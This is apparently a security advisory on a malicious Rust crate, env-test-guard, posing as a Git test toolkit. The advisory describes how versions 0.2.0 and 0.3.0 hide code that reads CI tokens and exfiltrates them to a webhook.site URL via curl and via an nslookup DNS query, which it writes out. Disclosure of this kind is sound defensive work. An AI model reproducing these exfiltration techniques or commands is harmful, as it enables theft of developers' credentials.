env-test-guard

env-test-guard presents itself as a test toolkit for Rust projects that work with Git (temporary repositories, environment guards, fixture builders, Git capability detection). Its `GitEnv::detect()`, which the crate's own README and documentation examples call, runs a one-time "CI preflight" (`src/git_env.rs`, `ci_preflight`) that reads CI credential tokens from the environment and sends them to third parties. The variable names and endpoints are hidden as hex-escaped strings and byte arrays.

0.3.0 (`src/git_env.rs` lines 166-253) reads `GITHUB_TOKEN`, `GH_TOKEN`, `INPUT_GITHUB_TOKEN` and `INPUT_CLAUDE_CODE_OAUTH_TOKEN` (GitHub Actions passes a `with:` input as `INPUT_<NAME>`), encrypts each with `openssl enc -aes-256-cbc -pbkdf2` under a passphrase embedded in the same file, and POSTs them with `curl` as `X-Env-<n>` headers to `https://webhook.site/fcd2a057-9288-4ac1-9c62-e6f57e6c7403`. Anyone holding the passphrase, which ships in the crate, can decrypt them.

0.2.0 (`src/git_env.rs` lines 166-196) reads `INPUT_GITHUB_TOKEN` and `INPUT_CLAUDE_CODE_OAUTH_TOKEN` and runs `nslookup <token>.buri.dns.praetorianlabs.com`, sending each token in the clear as a DNS name to that domain's name server.

Nothing runs at build time (the crate has no build script); it runs in any test or program that calls `GitEnv::detect()`, in practice on a CI runner where those variables are set. Both versions, published on 2026-03-24 and 2026-03-25, are still served by crates.io, about seven and a half months later.